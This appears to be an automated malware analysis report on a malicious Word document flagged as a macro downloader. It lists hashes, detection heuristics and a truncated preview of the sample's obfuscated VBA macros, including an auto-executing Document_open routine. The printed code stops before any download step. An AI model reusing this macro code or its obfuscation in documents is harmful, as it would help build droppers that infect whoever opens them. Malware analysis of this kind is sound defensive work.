Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fcb570d8d855f669…

MALICIOUS

Office (OLE)

257.6 KB Created: 2020-02-05 15:44:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: c01451a992e591f0ca15f681d71564c3 SHA-1: 84d541551daf8610b1add1a0f66fc74d536e2d8d SHA-256: fcb570d8d855f669580ff9de27c85f2a0bcbf2563ea608b49f4bd44846e2fe4e
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Generic-7577828-0' strongly suggest this file's purpose is to download and execute additional malicious content. The VBA code itself is heavily obfuscated, preventing a more detailed analysis of its specific actions.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7577828-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7577828-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12056 bytes
SHA-256: 7e2cc5e94674b6d1c4c46aed40a98ff0eede35277f6340e3e18b4d7e3dee94ef
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xjnwylfqtpo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Vivyjyikdc.Wlxqfolb
End Sub

Attribute VB_Name = "Sekcsvnkhnjc"
Attribute VB_Base = "0{7844F562-ECC7-4042-8108-0B0AF380510C}{82BED181-5A0B-4573-A9A8-F04A6BEEEDA1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ceapfycjketl"
Attribute VB_Base = "0{2204985B-D40C-45F2-97CF-C1C3262B2B19}{A9742C86-4C86-44C4-84C8-641300313B95}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cspepbye()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Aduvikomhyopj"
Attribute VB_Base = "0{63058311-96B2-4A1F-B526-67B8025FD43D}{CF15DF31-5EA3-4C61-A5A8-6C3AA15B1362}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Eqohqmal()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Aqlsttytapc"
Attribute VB_Base = "0{3CF15D73-C89F-448B-912E-B489930E69E8}{18E9C4E1-C2AD-40CA-AC4A-DB1B87A52A0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Azqhdrmmj()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Kkkxunarxfitc"
Attribute VB_Base = "0{9DD00B7B-C06D-45C0-AA6D-2955708F152D}{92AE9BC1-C8D3-4147-9C5F-AF77CCD32890}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Eqvjlcakoha()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Tkdrblhjjbznp"
Attribute VB_Base = "0{56BD4752-F1A7-4F9B-A4B4-A515510E9D62}{8E511494-0FD8-41FE-AEAD-BD63A6AB1753}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Argnnpnwr()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Xkzwquhd"
Attribute VB_Base = "0{996A72DF-522C-4DC0-A255-5986C55B061E}{10767D8A-76A2-46C0-A2F9-911E9BF904B7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Crrqlevpwv()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Skwamsggomry"
Attribute VB_Base = "0{1E3040A9-FA4A-404B-9FC7-0BCD9BA446D0}{1713822C-F6BE-4723-94B0-7C8BD5A23EF9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Jmlfflmuyaoxb()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Vivyjyikdc"
Function Wlxqfolb()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
... (truncated)